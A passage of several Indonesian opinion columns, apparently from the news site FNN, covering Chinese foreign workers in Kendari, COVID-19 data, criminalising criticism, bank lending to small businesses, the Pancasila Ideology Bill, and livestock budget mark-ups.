bernapaskan transparansi, dengan akuntabilitas sebagai partner intinya. Ingat, Presiden dimanapun didunia ini tidak memiliki ruang privat. Sedang di tempat peristirahatan sekalipun, Presiden tetap bestatus officialy. Presiden harus diberi itu, agar tidak mengambil tindakan yang ngaco. Misalnya, memperkarakan orang yang mengolok-olok pemerintahannya. Beda dengan ruang privat. Ruang ini ditempati oleh orang non state. Ruang ini adalah ruang orang-orang privat. Orang-orang yang tidak menyelenggarakan kekuasaan yang bersumber dari UUD 1945 dan UU. Karena itu, makhluk privat bisa berbuat sesuka mereka. Mereka bisa terlihat sangar, sombong, berkata sesukanya. John D. Archol, Bos Exon di tahun 1960-an adalah salah satu tipikalnya. Tapi saya ingin mengajukan Rockefeller, pencipta Standaar Oil sebelum akhirnya berubah menjadi Exon, sebagai tipikal yang menarik. Rockefeller bisa diam seribu bahasa menghadapi kritik setajam dan sehina apapun. Itulah Dia. Tapi jangan salah, dalam diamnya Rockefeller terus melangkah ke depan memupuk untung demi untung. Dia akan bergerak dari satu ladang minyak ke ladang minyak lainnya. Exon, nama baru untuk Standard Oil yang terpukul oleh ketajaman kritik Ida Tarbel, Jurnalis Muckraker andal, dalam kenyataannya bergerak dari satu konsesi ke konsesi lainnya di dunia. Menggurita dengan sangat canggih. Besar melampaui sebagian negara-negara berdaulat. Mereka terlalu canggih bermain dengan semua tekniknya. Kandungan licinnya selicin minyak. Memukul pesaing dengan semua cara. Mengandalkan kekuatan jaringan dalam menekuk negara calon pemberi konseksi. Tetapi ketika semua taktik terlihat bagai macan ompong di depan pemerintahan, dengan kadar nasional 24 karat, seperti Libia di bawah Khadafi muda, pemerintah mereka dipanggil menanganinya. Bicaralah Pak Presiden. Bicaralah seterang dan sejelas dalam skala kapasitas Presiden. Jelaskanlah, semoga penjelasan itu bisa membantu menyehatkan bangsa ini dari lilitan Corona. Tidakkah sebegitu menakutkan Corona ini, sehingga Bapak Presiden harus mengambil kebijakan menyakitkan. Melakukan Pembatasan Sosial Berskala Besar? Lalu sebagai konsekuensinya orang-orang dilarang keluar rumah? Semua orang, dalam kebijakan ini, diminta dalam nada yang menekan, harus tinggal dirumah. Bukan itu saja. Mudik, tradisi menahun republik pun ikut dilarang. Semua kebijakan menyakitkan harus diambil dan diterima rakyat. Sepenuhnya demi menghasilkan sebesar mungkin ruang-ruang sehat. Orang tahu hanya itu cara terampuh sejauh ini dalam mencegah menggilanya corona. Efek langsung corona, sejauh ini telah sangat jelas. Orang tak bisa kerja. Kalaupun kerja, mereka tak bisa leluasa. Sebagian korporasi, sejauh ini mulai terkepung efek ekonomi dan keuangan corona. Korporasi pas-pasan telah terjepit rapat. UMKM, kabarnya sebagian telah terjungkal. Lalu sekali lagi, orang-orang kehilangan kerja. Tak punya duit. Mereka itu jutaan jumlahnya. Mungkin tak perlu bilang tragis, konyol, dan arogan. Tapi membiarkan kebijakan masuknya TKA asing asal China, tanpa relaksasi di tengah rakyat sesulit sekarang, jelas sangat mencabik-cabik jantung bangsa ini. Perasaan kebangsaan kita terusik, dan wajib harus terusik. Jantung itu ditulis pada alinea keempat pembukaan UUD. Itu adalah tuntunan untuk Presiden, siapapun figurnya. Alinea keempat pembukaan UUD 1945 itulah jantung bangsa dan negara. Itulah esensi politik bangsa ini dibuat. Tidak lain, kecuali melindungi segenap bangsa Indonesia, dan seluruh tumpah darah Indonesia dan untuk memajukan kesejahteraan umum. Kesejahteraan siapa? Bukan kesejahteraan TKA asal China itu Pak Presiden. Tetapi kesejahteraan rakyat Indonesia dari Sabang sampai Merauke. Apapun agama, warna kulit dan sukunya. TKA asal China berjumlah 500 orang itu, yang kabarnya akan memasuki Kendari, Sulawesi Tenggara, jelas menjungkir-balian perasaan kebangsaan orang-orang yang tinggal dirumah. Tanggung jawab mensejahterakan rakyat itu, sampai kapanpun bukan menjadi tanggung jawab korporasi. Ini tanggung jawab Presiden, juga tanggung jawab pemerintah pada level dibawahnya. Tanggung jawab ini didasarkan pada perintah kontitusi negara Pak Presiden. Pada titik ini, sikap Wali Kota, salah satu anggota DPRD Kota Kendari dan Forkopinda, patut disyukuri. Bukan karena sikap itu mencerminkan mereka mengenal suasana batin rakyatnya. Tetapi lebih dari itu. Hebat, mereka mengerti adab, tata karma dan etika berperintahan. Mereka, kabarnya hendak menyurati Presiden agar kedatangan orang-orang China ini dihentikan. Beruntung Pak Wali, Anggota DPRD dan Forkopinda, masih memiliki kepekaan kebangsaan. Hebat, figur-figur ini tidak termakan. Meraka tidak tenggelam bersama dengan gagasan kelancaran investasi, yang lebih merupakan mantra klasik kapitalis itu. Hebat, mereka juga tak tergoda, tidak tersipu mantra klasik lainnya, yakni tenaga kerja full skill. Sejarah dengan kebenaran yang telah tersaji, cara yang satu dan lainnya berbeda. Menunjukan lebih dari biasa. Sebab investor-investor dan pencinta palsu investasi, selalu menyodorkan tenaga kerja full skill. Biasanya alasan full skil ini sebagai kartu kuncinya. Itu adalah mantra klasik investor untuk menaklukan dan menyingkirkan setiap gagasan bersebarangan. Apalagi gagasan itu bermuatan nasionalisme. Sungguh sejarah menunjukan dengan jelas, tenaga kerja terdidik, terampil itu bukan elemen tak tergantikan. Itu dibuat mewah dan mengerikan oleh investor. Sekedar sebagai cara memutar kembali uang mereka ke kempung halamannya. Pak Wali dan jajarannya seolah, kalau tidak membunyikan loceng peringatan. Setidaknya mengingatkan bangsa ini untuk, pada setiap kesempatan meletakan “alinea keempat UUD 1945” dalam membuat kebijakan investasi. Kebijaan investasi, harus sedekat mungkin berada di jantung perintah UUD 1945. Caranya, salah satunya, memprioritaskan warga negara Indonesia pada situasi ini. UUD 1945 mengharuskan Presiden menempatkan warga negara memperoleh pekerjaan pada jantung kebijakan bernegara. Itu satu. Pak presiden harus disegarkan pengetahuannya bahwa tugasnya adalah memakmurkan rakyat. Bukan perkara jumlah rakyat yang telah diserap dalam pekerjaan korporasi itu. UUD tidak mengenal angka-angka itu. Konstitusi mengharuskan rakyat harus makmur. Dalam kerangka itu rakyat tidak dapat direduksi ke dalam angka-angka kerja dalam perusahaan itu. Orientasi investasi asing, suka atau tidak, senang atau tidak, harus dikerangkakan pada perintah UUD 1945. UUD memerintahkan secara imperatif “sumberdaya alam digunakan untuk sebesar-besarnya kemakmuran rakyat.” Presiden, pantas diingatkan untuk tak terintimidasi. Setidaknya tak terpukau dengan tesis Rockefeller ketika menantang Ida Tarbel, jurnalis yang gigih menantang Standar Oil. Rockefeller terkenal dengan tesis khasnya. Minyak, katanya memang disediakan alam, tetapi alam tidak akan membuka pembuluh-pembuluhnya jika para produsen tidak memaksanya berbuat begitu. Dapat dikatakan, Rockefeller mengatakan “minyak sampai ke tangan anda karena ada sentuhan korporasi.” Seperti biasa dalam semua usaha yang mirip, uang, teknologi, termasuk pengoperasiannya dianggap sebagai kunci. Itu sebabnya, investor-investor lintas negara mengontrol teknologi dan semua yang terkait. Lalu mereka segera menemukan kenyataan mereka “dewa penyelamat” bagi negara-negara bodoh dan miskin atau miskin sekali. Selalu begitu. Akankah cerita 500 TKA asal China, akan berakhir dengan mereka tetap masuk Kendari? Itu soal besar. Mengapa? Siapa yang dapat memberi informasi bahwa di atas meja Presdien tersaji beberapa pilihan kebijakan? Bagaimana bila pilihan kebijakannya adalah Presiden tetap diam? Biarkan saja semua hiruk-pikuk saat ini berkembang. Karena hiruk-pikuk itu juga akan menemui akhirnya sendiri. Presiden punya hak eksklusif membiarkan semua rasa sendu saat ini berjalan sebagai adanya. Presiden mungkin telah tahu korporasi tidak pernah menempatkan dalam pemikiran dan tindakannya, hal-hal yang orang waras sebut kearifan. Pak Presiden, semoga saja tidak sedang suka dengan risiko-risiko kecil yang dibesar-besarkan investor, dan kaki tangannya. Korporasi, kapitalis dan kaki tangannya, berwajah apapun selalu sama dalam satu hal. Menganggap orang seperti Ida Tarbel sebagai ketinggalan zaman. Ini orang-orang berisik. Tak mengerti kerumitan investasi. Selalu begitulah tabiat mereka. Presiden, saya yakin tahu bahwa kearifan, tidak pernah ada dalam daftar hitungan investor. Investor tahu kearifan itu urusan pemerintah. Itu sebabnya Pak Presiden perlu maju, berdiri di podium kepresidenan. Lalu bicara kepada bangsa ini, apa sikap mutakhir Presiden soal TKA asal China itu? Penulis adalah Pengajar Hukum Tata Negara Universitras Khairun Ternate

Menenangkan Dengan Kepanikan

Oleh Kafil Yamin Jakarta, FNN - Data yang dilansir pemerintah Indonesia tentang jumlah pengidap dan korban meninggal akibat Covid-19 dengan yang dilansir media internasional terlalu jomplang. Angka resmi terakhir yang dikeluarkan Gugus Tugas Percepatan Penanganan Covid-19 (GTPPC) menyebutkan jumlah korban positif adalah 11.587 orang, sembuh 1.954 orang, meninggal 864 orang. Sementara, mengutip pusat pemantauan Covid-19 internasional, The Guardian menyebutkan angka kematian akibat Covid-19 di Indonesia berjumlah 11.587 orang. Ini kelima terbesar di Asia setelah Hubei, China 68.120 orang, India 42.836 orang, Singapura 18.778 orang, Jepang 14.877 orang. Di bawah Indonesia adalah Korea Selatan 10.801 orang, Filipina 9.425 orang, Malaysia 6.353 orang, Thailand 2.987 orang, Hong Kong 1.040 orang, dan Vietnam 271 orang. Angka-angka ini masih akan berubah dengan pola dan kecenderungan yang tidak bisa dipastikan. Di belahan Eropa dan Amerika, dikabarkan Inggris akan segera menyusul Amerika Serikat sebagai negara dengan korban kematian tertinggi dengan 65 ribu lebih. Sementara Inggris 26 ribu. Ada 3,5 juta lebih pengidap Covid-19 di dunia sekarang. Dari jumlah itu, meninggal 248,025 orang. Belum jelas betul apakan jomplangnya data itu karena sistem pengumpulan data yang lemah atau Pemerintah sedang berusaha 'menenangkan' masyarakat. Namun, siapapun yang berfikir sehat akan bertanya-tanya, masak sih, dengan jumlah kematian 'hanya' 864 orang, dan pengidap 'hanya' 11.587 orang dari 280 juta lebih rakyat Indonesia, langkah-langkah yang diambil pemerintah begitu gentingnya: PSBB di seluruh wilayah Indonesia, masjid-masjid dan mall-mall diliburkan, sampai gang-gang kecil ditutup. Peringatan-peringatan yang dikeluarkan sangat keras: ancaman pidana untuk mudik. Lagi pula, reputasi Pemerintah dalam keterbukaan dan kejujuran masih rendah. Penulis Wartawan Senior.

Jika Kritik Dipidana, Demokrasi Akan Tumbang

By Tony Rosyid Jakarta FNN – Senin (04/05). Diantara ciri negara demokrasi itu adalah adanya kebebasan berpendapat. Tanpa kebebasan berpendapat, negara tak lagi layak disebut sebagai penganut demokrasi. Entah apalah namanya. Yang pasti bukan negara demokrasi. Bukan kebebasan tanpa batas. Ada undang-undang sebagai dasar aturan. Siapa yang buat undang-undang? Tentu saja anggota DPR yang terhormat. Soal ini, di buku SD sudah dipelajari. Hanya saja, anak-anak SD nggak pernah tahu kelau "banyak oknum" anggota DPR suka terima order ketika lagi buat undang-undang. Dari mana? Banyak pengusaha berseliweran di sana. Anak SD belum sampai kesitu otaknya. Yang mereka tahu semua anggota DPR adalah orang-orang terhormat. Baru sadar ketika anak-anak SD itu sudah berada di kampus. Kuliah maksudnya. Tapi, ketika sudah jadi mahasiswa, mereka harus berhadapan dengan rektor. Saat ini, rektor sudah "semacam" jadi titipan dan tangan panjang pemerintah. Kampus juga sepertinya palan tapi pasti sudah memastikan posisinya menjadi Kantong Cabang Pemerintah. Ini karena para rektor dipilih oleh menteri. Dan menteri adalah pembantu presiden. Berani macam-macam, rektor bisa ambil tindakan terhadap mahasiswa. Bisa keluarkan dari kampus. Demokrasi di kampus juga akhirnya terkubur. Sejauh menteri pilih rektor, rektor pilih dekan, dan dekan bersama rektor awasi mahasiswa, maka demokrasi out dari kampus. Yang tersisa tinggal pers. Tapi, media milik para pengusaha. Soal pajak, banyak juga yang bermasalah. Berani macam-macam kepada pemerintah, pasal tentang manipulasi dan tunggakan pajak bisa jadi malapetaka. Nurut pasti lebih selamat. Sekarang tampil rakyat yang tanpa identitas. Mereka lebih berani melakukan kritik. Tapi ingat, ada banyak pasal yang juga mengintai mereka. Kepeleset dikit saja, anda akan bernasib seperti Jonru dan Ahmad Dani cs. Bisa masuk sel. Makanya Jangan ceroboh! Tidak mudah hidup dalam situasi dimana demokrasi sedang banyak masalah. Silahkan kritik, tapi harus waspada. Anda pasti paham maksud saya? Jangan asal menyerang tanpa menghitung pertahanan. Jangan pakai emosi, tapi gunakan akal sehat. Dan tetap mengutamakan obyektifitas. Lihat saja kasus Said Didu. Minta maaf, atau proses hukum? Said Didu yang berdah Bugis-Maksar ini pilih menghadapi proses hukum. Wajah tegak berdiri karena merasa benar. Gentel sekali Said Didu! Hukum harus ditegakkan. Sepakat itu. Tetapi, jangan sampai atas nama penegakan hukum, martabat dan keadilan diabaikan. Atas nama hukum atau kekuasaan? Tanya saja publik. Soal martabat? Itu harus. Seorang pejabat, tidak boleh tidak bermartabat. Diantara ciri pejabat yang bermartabat adalah tahan banting terhadap kritik. Anies Baswedan adalah contoh pejabat bermartabat itu. Kritik, fitnah, bullyan dan caci maki, semua dilewati Anies dengan senyum. Semua itu diterima Anies sebagai vitamin yang menyegarkan imun tubuh. Anies menghadipinya dengan terus bekerja dan menatap masa depan. Jika di otak seorang pemimpin berisi tentang nasib rakyat, maka dipastikan tak ada tempat yang tersisa di kepala untuk mengurusi cacian dan hinaan terhadap dirinya. Begitu kata pepatah. “Saya tidak khawatir dibully, dikritik, diftinah dan dicaci maki. Medsos itu umurnya pendek. Hari ini dicaci, besok sudah berganti lagi. Tapi saya takut kalau berbuat salah, karena akan dicatat oleh sejarah dan dibaca oleh generasi bangsa. Begitu kata Anies”. Sebagai pejabat publik, bersiaplah-siaplah anda untuk setiap saat dikritik. Bahkan siap pula untuk difitnah dan dicaci-maki. Fitnah tak akan menjatuhkan anda jika anda punya data untuk klarifikasi. Beres itu. Publik akan menaruh simpati dan mengapresiasi anda. Reaksi berlebihan terhadap kritik hanya akan menghancurkan martabat anda sebagai seorang pejabat. Anda kehilangan martabat bukan karena kritik dan fitnah. Tapi anda akan kehilangan martabat jika anda berlebihan merespon kritik dan fitnah itu. Sekali anda laporkan pengkritik itu, rakyat akan berada di belakang dan membela sang pengkritik. Saat itulah anda akan kehilangan martabat dan simpati dari rakyat. Ketika Walikota Surabaya, Risma melalui Biro Hukumnya melaporkan seorang ibu dari Bogor yang "diduga" menghinanya, saat itu pula nama Risma tenggelam. Rakyat yang balik menghukumnya. Begitulah kalau pejabat yang resiten terhadap kritik dan hinaan. Nama yang baik dan harum saja bisa hancur jika anda rapuh terhadap kritik. Apalagi mereka yang dikenal tak punya nama baik di mata rakyat. Pasti akan makin berantakan. Saya tidak kasihan sama Said Didu. Mantan sekmen BUMN ini. Ia sadar risiko perkataan dan sikapnya. Apalagi rakyat memberinya dukungan. Jalani saja... Rasa kasihan justru layak ditujukan kepada pihak pelapor. Di mata publik, pasti martabatnya sebagai pejabat akan dipertaruhkan. Lebih kasihan lagi jika pelapor pun tak peduli soal martabat itu. Ada cara yang lebih bijak dan bermartabat. Pertama, klarifikasi. Kalau anda punya data, cukup klarifikasi. Clear. Masalah selesai, dan anda bisa tersenyum karena dapat simpati. Dan ini yang terus berulang dilakukan Anies Baswedan. Hasilnya, Anies dibanjiri simpati. Kepada para pejabat, belajarlah menghadapi kriti, fitnah, bullyan dan caci-maki kepada Anies jika ingin punya karir yang lebih baik ke depan. Jika ingin bermartabat dan harum di mata rakyat. Bagi seorang pejabat, dibutuhkan kematangan dan kedewasaan dalam bersikap. Kedua, memaafkan. Ini cara yang paling diapresiasi oleh publik. Siapapun senang melihat seorang tokoh punya kematangan seperti ini. Lapang dada untuk setiap kritik terhadapnya. Itulah ciri dari pejabat yang bermartabat, berkelas, bernilai dan mengagumkan. Jangan hanya karena ada undang-undang, kita bisa tuntut "siapa saja yang lemah" tanpa memikirkan bagaimana nasib demokrasi di negeri ini. Kalau semua pejabat terlalu tipis telinga, maka satu persatu orang-orang yang kritis akan tumbang. Rakyat tidak hanya takut, tapi akan kehilangan simpati dan kepercayaan. Saat itu, demokrasi mati dan negara akan semakin rapuh. Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Perbankan Nasional Sangat Tidak Ramah Kepada UMKM

By Andi Rahmat Jakarta FNN – Ahad (03/05). Dalam rapat kerja dengan Komisi XI DPR RI, Gubernur BI menyampaikan pelaksanaan Quantitative Easing (QE) senilai Rp. 503,8 trilliun. Jumlah ini adalah akumulasi kebijakan moneter BI hingga bulan Mei 2020. Selama periode Januari hingga Mei tahun ini, BI telah menambah pasokan likuiditas ke dalam perekonomian melalui serangkaian kebijakan pelonggaran kuantitas (QE). Sepanjang periode Januari-April 2020, nilainya sebesar Rp. 386 triliun. Instrumennya berupa Pembelian Surat Berharga Negara (SBN) di pasar sekunder sebesar Rp. 166,2 trilliun, Term Repo sebesar Rp. 137,1 triliun, Swap Foreign Exchange (FX Swap) Rp. 29,7 triliun dan Penurunan Giro Wajib Minimum (GWM) sebesar Rp 53 triliun. Sementara untuk periode Mei akan ditambahkan lagi sebesar Rp 117,8 triliun. Dalam bentuk penurunan GWM periode Mei sebesar Rp. 102 triliun, dan selebihnya berasal dari pengurangan kewajiban tambahan Giro sebesar Rp. 15,8 triliun. Karena periode tambahan itu dimulai dari Januari 2020, maka tambahan sebesar Rp. 503,8 triliun itu tidak seluruhnya dapat dikatakan sebagai bentuk QE di masa pandemi Covid 19. Yang dapat dikatakan adalah, dalam periode ini BI telah melakukan kebijakan dua tahap. Tahap pertama, sepanjang periode Januari –F ebruari, berupa relaksasi kebijakan moneter normal. Tahap kedua, berupa kebijakan Pelonggaran Kuantitas dalam rangka merespon krisis yang ditimbulkan oleh Pandemi Covid 19. Saya membaginya seperti itu untuk menunjukkan bahwa tren kebijakan moneter BI dalam merespon perkembangan makro perekonomian pada dasarnya adalah tren relaksasi. Namun kemudian, karena perkembangan tidak terduga dari krisis pandemi, kebijakan relaksasi itu berubah menjadi agresif dan membutuhkan kebijakan lebih dari sekedar relaksasi yang berbentuk pelonggaran kuantitas (QE), atau populernya “pencetakan uang” besar-besaran kedalam perekonomian. Untuk kepentingan tulisan ini, istilah “‘pencetakan uang” ini saya samakan dengan penciptaan uang (money creation). Sebab nampaknya, tren ini akan berkembang terus seiring dengan perkembangan perekonomian nasional. Terhadap suatu tambahan likuiditas sebesar ini, tentu menarik untuk kita ajukan pertanyaan, untuk apa dan kepada siapa likuiditas itu sesungguhnya ditujukan? Bersumber dari data BI, eksposure kredit UMKM di dalam sistem perbankan nasional sampai September 2018 berjumlah Rp. 1.037,6 trlin, dari Rp. 5.284,6 trliun, atau sekitar 19,6% dari total baki kredit perbankan. Selebihnya, 80,4% baki kredit dikuasi oleh sektor non UMKM, atau sekitar Rp. 4.247 triliun yang diperuntukkan untuk korporasi. Baki kredit untuk UMKM ini dialokasikan kepada 16.394.106 nasabah UMKM. Padahal di Indonesia, hingga tahun 2019 terdapat 59 juta UMKM. Dari jumlah baki kredit UMKM itu, Bank-bank BUMN, BPD dan BPR/BPRS menyalurkan sekitar Rp. 665,23 trliun atau 64% dari total baki kredit UMKM. Selebihnya, 36% disalurkan oleh perbankan swasta dan JV Bank. Dari data ini, kita memperoleh dua kesimpulan umum. Pertama, bahwa penetrasi sistem perbankan nasional kepada sektor UMKM sangat tidak proporsional. Itupun kalau tidak mau dikatakan “tidak-adil”. Tidak proporsionalannya bukan saja dari segi rendahnya alokasi kredit terhadap sektor ini, tetapi juga proporsi masih mayoritasnya sektor UMKM yang tidak memperoleh akses dan perhatian dari perbankan. Ini juga menunjukkan bahwa perbankan nasional sesungguhnya sangat tidak ramah terhadap UMKM. Dan cenderung eksklusif terhadap korporasi. Apapun alasannya, struktur ini mencerminkan ketidak-sehatan sistem keuangan nasional kita. Yang pada akhirnya, dimasa-masa krisis seperti ini menyebabkan UMKM kita menjadi rentan. Pada tingkat pengambilan kebijakan, menyulitkan otoritas melakukan penyesuain kebijakan (adjustment policy). Kedua, adalah rendahnya partisipasi perbankan swasta di sektor UMKM ini. Memang ada alasan yang mengatakan bahwa partisipasi rendah ini dikarenakan selama ini, pemerintah banyak menggunakan perbankan non swasta dalam menjalankan kebijakan pro UMKMnya. Argumen yang lebih sinis mengatakan bahwa semua ini dikarenakan perbankan swasta lebih memilih korporasi karena selain lebih mudah, volume kreditnya juga besar. Jumlah nasabah juga yang tidak besar, sehingga dapat menekan biaya pengelolaannya, alias lebih menguntungkan. Lantas, apakah kita bisa mengatakan bahwa membanjiri likuiditas ke sistem perbankan dengan struktur yang tidak ramah terhadap UMKM, bisa memberi manfaat besar bagi UMKM kita, yang sedang sekarat ini?. Padahal dimasa krisis ini, UMKM sebagai penyumbang tenaga kerja terbesar dalam perekonomian kita sedang mengalami masa-masa sulit. Sudah jamak diketahui bahwa diantara efek QE dimasa sulit seperti ini adalah munculnya fenomena Cash Hoarding di perbankan. Suatu fenomena dimana perbankan memilih mengkonsolidasikan ekses likuiditasnya dalam memperkuat neracanya, Mereka lebih cenderung memilih untuk “bernegosiasi” dengan debitur korporasinya. Ditatar lebih lanjut, fenomena diatas menjadi sumber kritik banyak pihak terhadap permodelan QE yang tidak merumuskan kebijakan keberpihakannya secara tegas kepada UMKM. Kritiknya adalah, QE lebih memberi kesempatan kepada korporasi dan “orang-orang kaya” untuk berkonsolidasi di masa krisis. Karenanya semakin mempelebar jurang antara yang “kaya-miskin” dalam perekonomian. Sekali lagi, ini fenomena jamak yang bisa ditemukan dalam banyak sekali literatur dari ekonom-ekonom terkemuka yang mengkritik dampak QE saat memperluas “ineqaulity” dalam perekonomian. Tanggung jawab soal ini tentu bukan saja dibebankan kepada BI. Tetapi yang utama adalah Otoritas Jasa Keuangan (OJK). Kerana OJK sebagai otoritas independen yang menaungi perbankan. Ini adalah tugas mulia dan suci buat OJK dalam melakukan penyesuian struktural terhadap sistem keuangan nasional kita yang tidak ramah UMKM. OJK jangan sia-siakan momentum ini. OJK mestinya berdiri di garis yang paling depan dalam soal permodalan UMKM ini. Penulis menekankan ini, sebagai wujud tanggung jawab moral. Karena penulis juga merupakan mantan Pimpinan Pansus Pembentukan UU OJK yang menjadi dasar berdirinya OJK sekarang. Tanpa suatu keberpihakan yang tegas dari otoritas, upaya membanjiri likuiditas ke sistem perbankan dan keuangan nasional kita melalui QE hanya akan meninggalkan UMKM dalam limbo ketidak berdayaan. Alih-alih, malah akan memperparah kesenjangan didalam perekonomian nasional kita. Kesuksesan kebijakan QE dalam mem”bail-out” sektor UMKM terletak pada perubahan proporsi baki kredit untuk UMKM dan bertambahnya jumlah UMKM secara signifikan dalam memperoleh manfaat dari kebijakan QE. Untuk itu, OJK sudah selayaknya menerbitkan kebijakan yang “memaksa” perbankan untuk menyalurkan likuiditasnya kepada UMKM dalam proporsi yang lebih besar. Diantaranya dengan memberi bobot khusus dalam proporsi Loan to Deposit Ratio (LDR) kepada UMKM dalam neraca perbankan. Bentuknya dapat berupa pengaturan yang bersifat “mandatory loan” kepada UMKM oleh perbankan dalam proporsi baki kreditnya. Khusus untuk BI, perlu juga mempersyaratkan suatu mekanisme “‘mandatory” kepada perbankan dalam penggunaan fasilitas BI. Itu terutama pada perjanjian yang berhubungan dengan Repo SBN perbankan. Insya Allah, dalam kesempatan lain, kita bisa mendiskusikan (tulisan khusus) soal ini. Akhirnya, kepada Allah SWT jugalah kita memohon pertolongan dan berserah diri. Wallahu ‘alam. Penulis adalah Pelaku Usaha, dan Mantan Wakil Ketua Komisi XI DPR RI

Bahaya, Ada Misi Orde Lama di RUU Ideologi Pancasila

By M. Rizal Fadillah Jakarta FNN – Ahad (03/05). Tidak lama lagi akan ada pembahasan di DPR RI mengenai draft Rncanagan Undang-Undang (RUU) Haluan Ideologi Pancasila. Disebut saja RUU HIP. Tentu saja bukan HIV sebagai virus yang juga berbahaya itu. Meski demikian, nampaknya ada virus juga yang berusaha masuk ke dalam dan menentukan RUU GIP, yaitu Virus Orde Lama (Orla). Ada misi dan narasi yang memang nyata-nyata mau diseludupkan ke dalam draft RUU HIP tersebut. Untuk itu, RUU HIP ini merlu mendapat perhatian, kewaspadaan pengawalan ketat dari seluruh rakyat dan bangsa Indonesia. Jangan sampai Pancasila justru diperalat dan dijadikan tunggangan untuk ideologi lain, termasuk ideologi Sosialis dan Komunis. Pertama, janggal karena dalam draft RUU HIP yang memfokuskan pada ideologi Pancasila. Namun di dalam konsiderans RUU HIP ini, sama sekali tidak memasukkan Tap MPRS No. XXV/MPRS/1966 tentang Pembubaran PKI, Organisasi Terlarang, dan Larangan Menyebarkan dan Mengembangkan Faham Komunisme, Marxisme-Leninisme. Ini berbahaya. Persoalan Tap MPRS No. XXV/MPRS/1966 menjadi penting bagi semua anak bangsa. Tidak bisa dihapus atau ditiadakan begitu saja. Upaya penghapusan atau meniadakan Tap MPRS No. XXV/MPRS/1966 dari konsiderans draft RUU HIP justru menimbulkan kecurigaan. Patut diduga, akan misi-misi khsus yang mau diperjuangkan secara terselubung. Kedua, dubious kata "gotong royong" dalam makna kebersamaan atau ideologi ? Kata ini juga terkesan mau selundupan. Baik pada Ketentuan Umum maupun Pasal. Contoh saja pada kalimat, "kelima prinsip dasar merupakan jiwa dan penggerak perjuangan rakyat dan bangsa Indonesia yang mencerminkan kepribadian bangsa lndonesia yaitu gotong royong". Kalimat ini adanya di Pasal 3 draft RUU HIP. Ketiga, menafikan peran Agama sebagaimana pengaturan bahwa sendi pokok Pancasila adalah "Keadilan Sosial" dan bidang-bidangnya adalah politik, hukum, ekonomi, sosial, budaya, hankam. Peran Agama terlihat diminimalisasi. Ketika konten agama itu ada, ternyata posisinya disejajarkan dengan rohani dan kebudayaan (Pasal 22). Bahkan pada Misi dari Masyarakat Pancasila butir a sampai terakhir f, sama sekali tidak tersentuh aspek Ketuhanan dan Keagamaan (Pasal 11). Keempat, ciri dari Manusia Pancasila yang dikaitkan dengan beriman bertakwa pun harus "menurut dasar" kemanusiaan yang adil dan beradab. Konsepsi Ketuhanan yang berdasar kemanusiaan. Kekuasasn Tuhan Yang Maha Esa yang mau didegradasikan ke tingkat ukuran kemanusiaan. Ada ancaman pada otoritas hukum-hukum Tuhan (Pasal 12). Kelima, sinkretisme dan pencampur adukan entitas. Keadilan dan kesejahteraan yang merupakan "perpaduan prinsip Ketuhanan, kemanusiaan, kesatuan, kerakyatan/demokrasi politik, dan ekonomi dalam kesatuan" (Pasal 7 ayat 1). Ada nuansa "pemerasan" dan keinginan untuk kembali kepada cara pandang masa lalu Orde Lama, ala Soekarnoisme. Keenam, ternyata eksplisit misi Soekarnoisme yang kemudian pernah bermetamorfosa menjadi "Nasakom" yang diawali dengan Pancasila, Trisila, dan Ekasila. Ini sangat terang-terangan pada Pasal 7 draft RUU HIP. Bunyinya begini, "(2) Ciri pokok Pancasila berupa trisila, yaitu sosio nasionalisme, sosio demokrasi, serta ketuhanan yang berkebudayaan. (3) Trisila sebagaimana dimaksud pada ayat (2) terkristalisasi dalam ekasila, yaitu gotong royong". Nah, tentu disini bukan porsi untuk mengurai rincian dari pasal-pasal Draft RUU HIP yang terdiri dari X Bab dan 60 Pasal ini. Yang menjadi Ketua Panja RUU HIP ini adalah Rieke Dyah Pitaloka (PDIP). Hanya nampaknya materi draft RUU ini berisi virus-virus politik yang pautu diduga sangat berbahaya. Apalagi untuk dijadikan pedoman dalam berbangsa dan bernegara. Terhadap konsep RUU HIP seperti ini, rakyat dan bangsa Indonesia kelak harus menolaknya. Jangan sampai menjadi undang-undang. Sebab RUU HIP jika nanti digodok oleh DPR RI, patut untuk diduga ada "hidden agenda" terselubung di dalamnya. Bukan mustahil, akan ada kekuatan-kekuatan penunggang gelap yang akan memanfaatkan RUU ini. Siapa saja penunggang-penunggang gelap tersebut? Siapa lagi, kalau bukan paham Komunis dan teman-temannya? Semoga anggota DPR lebih mampu mengendus dan mewaspadai RUU HIP ini. Meski anehnya, draft RUU berasal dari penggunaan Hak Usul Inisiatif dari DPR sendiri. Semoga saja DPR secara kelembagaan, bahkan keseluruhan menolak draft RUU yang mau menghidupkan kembali cara pandang Orde Lama, ala Soekarnoisme ini. Bahaya berada di depan bangsa dan negara Indonesia. Penulis adalah Pemerhati Politik dan Kebangsaan

Babi Ngepet dan Ayam Milenial

Oleh Hersubeno Arief Jakarta, FNN - Departemen Pertanian c/q Dirjen Peternakan “berhasil “ menernakkan babi dan ayam lokal varietas baru. Harga jualnya sangat fantastis! Ternak hewan super dan unggulan ini, bila benar terwujud, bisa membuat para peternak kaya mendadak! Bakal banyak milyader baru lahir di tengah pandemi. Sangat membantu program pemerintah mengentaskan kemiskinan. Bayangkan saja harga 1 ekor babi bisa mencapai Rp 9 juta. Sementara ayam lokal harganya jauh lebih fantastis. Rp 770 ribu/ekor. Sebagai bayangan saja. Agar kita mendapat gambaran betapa dahsyatnya ternak unggulan “ciptaan” Dirjen Peternakan itu, mari kita bandingkan dengan harga di pasaran. Menjelang Hari Raya Galungan pada pertengahan bulan Februari lalu, Dinas Pertanian Provinsi Bali menetapkan harga daging babi per kilo/Rp 26-30 ribu. Di pasaran harganya masih berkisar Rp 50-60 ribu. Katakanlah seekor babi paling gemuk, babi tambun dengan berat 50 kg. Maka harga per ekor maksimal Rp 3 juta. Harga ayam lokal di pasaran per ekor sekitar Rp 60-65 ribu. Itupun dalam kondisi sudah bersih. Ibu-ibu tinggal memasaknya. Jadi harga babi dan ayam itu benar-benar fantastis. Bakal membuat banyak orang berlomba-lomba mengubah profesinya menjadi peternak. Sayangnya untuk sementara waktu kita harus menahan diri dan bersabar. Harga hewan ternak yang tembus langit ketujuh itu baru ada dalam anggaran yang diajukan Deptan ke DPR. Kalau saja anggaran itu lolos dan disetujui oleh DPR, yang bakal kaya mendadak bukan para peternak. Tapi para pejabat di Dirjen Peternakan. Khususnya yang terlibat dalam pengadaan. Sayangnya pula usulan anggaran itu tidak bakal disetujui DPR. 